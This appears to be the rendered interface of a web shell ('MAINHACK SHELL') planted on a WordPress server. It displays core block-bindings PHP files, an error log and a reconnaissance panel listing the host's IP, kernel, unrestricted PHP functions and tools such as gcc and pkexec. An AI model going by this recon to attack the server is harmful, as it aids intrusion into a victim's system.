[
MAINHACK SHELL
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: block-bindings.tar
post-meta.php 0000644 00000004047 15150067353 0007200 0 ustar 00 <?php /** * Post Meta source for the block bindings. * * @since 6.5.0 * @package WordPress * @subpackage Block Bindings */ /** * Gets value for Post Meta source. * * @since 6.5.0 * @access private * * @param array $source_args Array containing source arguments used to look up the override value. * Example: array( "key" => "foo" ). * @param WP_Block $block_instance The block instance. * @return mixed The value computed for the source. */ function _block_bindings_post_meta_get_value( array $source_args, $block_instance ) { if ( empty( $source_args['key'] ) ) { return null; } if ( empty( $block_instance->context['postId'] ) ) { return null; } $post_id = $block_instance->context['postId']; // If a post isn't public, we need to prevent unauthorized users from accessing the post meta. $post = get_post( $post_id ); if ( ( ! is_post_publicly_viewable( $post ) && ! current_user_can( 'read_post', $post_id ) ) || post_password_required( $post ) ) { return null; } // Check if the meta field is protected. if ( is_protected_meta( $source_args['key'], 'post' ) ) { return null; } // Check if the meta field is registered to be shown in REST. $meta_keys = get_registered_meta_keys( 'post', $block_instance->context['postType'] ); // Add fields registered for all subtypes. $meta_keys = array_merge( $meta_keys, get_registered_meta_keys( 'post', '' ) ); if ( empty( $meta_keys[ $source_args['key'] ]['show_in_rest'] ) ) { return null; } return get_post_meta( $post_id, $source_args['key'], true ); } /** * Registers Post Meta source in the block bindings registry. * * @since 6.5.0 * @access private */ function _register_block_bindings_post_meta_source() { register_block_bindings_source( 'core/post-meta', array( 'label' => _x( 'Post Meta', 'block bindings source' ), 'get_value_callback' => '_block_bindings_post_meta_get_value', 'uses_context' => array( 'postId', 'postType' ), ) ); } add_action( 'init', '_register_block_bindings_post_meta_source' ); pattern-overrides.php 0000644 00000002763 15150067353 0010747 0 ustar 00 <?php /** * Pattern Overrides source for the Block Bindings. * * @since 6.5.0 * @package WordPress * @subpackage Block Bindings */ /** * Gets value for the Pattern Overrides source. * * @since 6.5.0 * @access private * * @param array $source_args Array containing source arguments used to look up the override value. * Example: array( "key" => "foo" ). * @param WP_Block $block_instance The block instance. * @param string $attribute_name The name of the target attribute. * @return mixed The value computed for the source. */ function _block_bindings_pattern_overrides_get_value( array $source_args, $block_instance, string $attribute_name ) { if ( empty( $block_instance->attributes['metadata']['name'] ) ) { return null; } $metadata_name = $block_instance->attributes['metadata']['name']; return _wp_array_get( $block_instance->context, array( 'pattern/overrides', $metadata_name, $attribute_name ), null ); } /** * Registers Pattern Overrides source in the Block Bindings registry. * * @since 6.5.0 * @access private */ function _register_block_bindings_pattern_overrides_source() { register_block_bindings_source( 'core/pattern-overrides', array( 'label' => _x( 'Pattern Overrides', 'block bindings source' ), 'get_value_callback' => '_block_bindings_pattern_overrides_get_value', 'uses_context' => array( 'pattern/overrides' ), ) ); } add_action( 'init', '_register_block_bindings_pattern_overrides_source' ); error_log 0000644 00000025330 15150067353 0006471 0 ustar 00 [15-Mar-2025 08:45:40 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php on line 47 [15-Mar-2025 08:45:41 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php on line 70 [01-Apr-2025 10:57:37 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php on line 47 [01-Apr-2025 10:57:40 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php on line 70 [02-Sep-2025 07:20:48 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php on line 70 [02-Sep-2025 07:20:49 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php on line 47 [04-Sep-2025 02:17:30 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php on line 47 [04-Sep-2025 02:17:30 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php on line 70 [20-Sep-2025 21:04:56 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php on line 70 [20-Sep-2025 21:04:56 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php on line 47 [26-Oct-2025 19:57:26 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php on line 47 [26-Oct-2025 19:57:26 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php on line 70 [03-Dec-2025 04:33:34 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/term-data.php:119 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/term-data.php on line 119 [03-Dec-2025 04:33:34 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-data.php:98 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-data.php on line 98 [03-Dec-2025 04:33:34 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php on line 70 [03-Dec-2025 04:33:35 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php on line 47 [22-Dec-2025 12:36:38 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php on line 47 [22-Dec-2025 12:36:38 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-data.php:98 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-data.php on line 98 [22-Dec-2025 12:36:39 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php on line 70 [22-Dec-2025 12:36:39 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/term-data.php:119 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/term-data.php on line 119 [05-Jan-2026 14:06:08 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php on line 47 [05-Jan-2026 14:06:08 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-data.php:98 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-data.php on line 98 [05-Jan-2026 14:06:08 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php on line 70 [05-Jan-2026 14:06:08 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/term-data.php:119 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/term-data.php on line 119 [14-Jan-2026 09:16:04 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php on line 47 [14-Jan-2026 09:16:04 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-data.php:98 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-data.php on line 98 [14-Jan-2026 09:16:04 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php on line 70 [14-Jan-2026 09:16:05 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/term-data.php:119 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/term-data.php on line 119 [20-Jan-2026 18:23:41 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php on line 47 [20-Jan-2026 18:23:41 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-data.php:98 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-data.php on line 98 [20-Jan-2026 18:23:42 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php on line 70 [20-Jan-2026 18:23:42 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/term-data.php:119 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/term-data.php on line 119 [24-Jan-2026 21:05:19 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php:47 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/pattern-overrides.php on line 47 [24-Jan-2026 21:05:20 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-data.php:98 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-data.php on line 98 [24-Jan-2026 21:05:21 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php:70 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/post-meta.php on line 70 [24-Jan-2026 21:05:21 UTC] PHP Fatal error: Uncaught Error: Call to undefined function add_action() in /home/inceptionblue/public_html/wp-includes/block-bindings/term-data.php:119 Stack trace: #0 {main} thrown in /home/inceptionblue/public_html/wp-includes/block-bindings/term-data.php on line 119 post-data.php 0000644 00000005421 15150067353 0007160 0 ustar 00 <?php /** * Post Data source for Block Bindings. * * @since 6.9.0 * @package WordPress * @subpackage Block Bindings */ /** * Gets value for Post Data source. * * @since 6.9.0 * @access private * * @param array $source_args Array containing arguments used to look up the source value. * Example: array( "field" => "foo" ). * @param WP_Block $block_instance The block instance. * @return mixed The value computed for the source. */ function _block_bindings_post_data_get_value( array $source_args, $block_instance ) { if ( empty( $source_args['field'] ) ) { // Backward compatibility for when the source argument was called `key` in Gutenberg plugin. if ( empty( $source_args['key'] ) ) { return null; } $field = $source_args['key']; } else { $field = $source_args['field']; } /* * BACKWARDS COMPATIBILITY: Hardcoded exception for navigation blocks. * Required for WordPress 6.9+ navigation blocks. DO NOT REMOVE. */ $block_name = $block_instance->name ?? ''; $is_navigation_block = in_array( $block_name, array( 'core/navigation-link', 'core/navigation-submenu' ), true ); if ( $is_navigation_block ) { // Navigation blocks: read from block attributes. $post_id = $block_instance->attributes['id'] ?? null; } else { // All other blocks: use context. $post_id = $block_instance->context['postId'] ?? null; } // If we don't have an entity ID, bail early. if ( empty( $post_id ) ) { return null; } // If a post isn't public, we need to prevent unauthorized users from accessing the post data. $post = get_post( $post_id ); if ( ( ! is_post_publicly_viewable( $post ) && ! current_user_can( 'read_post', $post_id ) ) || post_password_required( $post ) ) { return null; } if ( 'date' === $field ) { return esc_attr( get_the_date( 'c', $post_id ) ); } if ( 'modified' === $field ) { // Only return the modified date if it is later than the publishing date. if ( get_the_modified_date( 'U', $post_id ) > get_the_date( 'U', $post_id ) ) { return esc_attr( get_the_modified_date( 'c', $post_id ) ); } else { return ''; } } if ( 'link' === $field ) { $permalink = get_permalink( $post_id ); return false === $permalink ? null : esc_url( $permalink ); } } /** * Registers Post Data source in the block bindings registry. * * @since 6.9.0 * @access private */ function _register_block_bindings_post_data_source() { register_block_bindings_source( 'core/post-data', array( 'label' => _x( 'Post Data', 'block bindings source' ), 'get_value_callback' => '_block_bindings_post_data_get_value', 'uses_context' => array( 'postId', 'postType' ), // Both are needed on the client side. ) ); } add_action( 'init', '_register_block_bindings_post_data_source' ); term-data.php 0000644 00000006103 15150067353 0007140 0 ustar 00 <?php /** * Term Data source for Block Bindings. * * @since 6.9.0 * @package WordPress * @subpackage Block Bindings */ /** * Gets value for Term Data source. * * @since 6.9.0 * @access private * * @param array $source_args Array containing source arguments used to look up the override value. * Example: array( "field" => "name" ). * @param WP_Block $block_instance The block instance. * @return mixed The value computed for the source. */ function _block_bindings_term_data_get_value( array $source_args, $block_instance ) { if ( empty( $source_args['field'] ) ) { return null; } /* * BACKWARDS COMPATIBILITY: Hardcoded exception for navigation blocks. * Required for WordPress 6.9+ navigation blocks. DO NOT REMOVE. */ $block_name = $block_instance->name ?? ''; $is_navigation_block = in_array( $block_name, array( 'core/navigation-link', 'core/navigation-submenu' ), true ); if ( $is_navigation_block ) { // Navigation blocks: read from block attributes. $term_id = $block_instance->attributes['id'] ?? null; $type = $block_instance->attributes['type'] ?? ''; // Map UI shorthand to taxonomy slug when using attributes. $taxonomy = ( 'tag' === $type ) ? 'post_tag' : $type; } else { // All other blocks: use context $term_id = $block_instance->context['termId'] ?? null; $taxonomy = $block_instance->context['taxonomy'] ?? ''; } // If we don't have required identifiers, bail early. if ( empty( $term_id ) || empty( $taxonomy ) ) { return null; } // Get the term data. $term = get_term( $term_id, $taxonomy ); if ( is_wp_error( $term ) || ! $term ) { return null; } // Check if taxonomy exists and is publicly queryable. $taxonomy_object = get_taxonomy( $taxonomy ); if ( ! $taxonomy_object || ! $taxonomy_object->publicly_queryable ) { if ( ! current_user_can( 'read' ) ) { return null; } } switch ( $source_args['field'] ) { case 'id': return esc_html( (string) $term_id ); case 'name': return esc_html( $term->name ); case 'link': // Only taxonomy entities are supported by Term Data. $term_link = get_term_link( $term ); return is_wp_error( $term_link ) ? null : esc_url( $term_link ); case 'slug': return esc_html( $term->slug ); case 'description': return wp_kses_post( $term->description ); case 'parent': return esc_html( (string) $term->parent ); case 'count': return esc_html( (string) $term->count ); default: return null; } } /** * Registers Term Data source in the block bindings registry. * * @since 6.9.0 * @access private */ function _register_block_bindings_term_data_source() { if ( get_block_bindings_source( 'core/term-data' ) ) { // The source is already registered. return; } register_block_bindings_source( 'core/term-data', array( 'label' => _x( 'Term Data', 'block bindings source' ), 'get_value_callback' => '_block_bindings_term_data_get_value', 'uses_context' => array( 'termId', 'taxonomy' ), ) ); } add_action( 'init', '_register_block_bindings_term_data_source' );
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.isorus.org
Server IP: 159.223.142.74
PHP Version: 7.4.33
Server Software: Apache
System: Linux server.isorus.org 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
HDD Total: 319.99 GB
HDD Free: 212.36 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
Off
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: inceptionblue
User ID (UID): 1042
Group ID (GID): 1043
Script Owner UID:
Current Dir Owner: 1042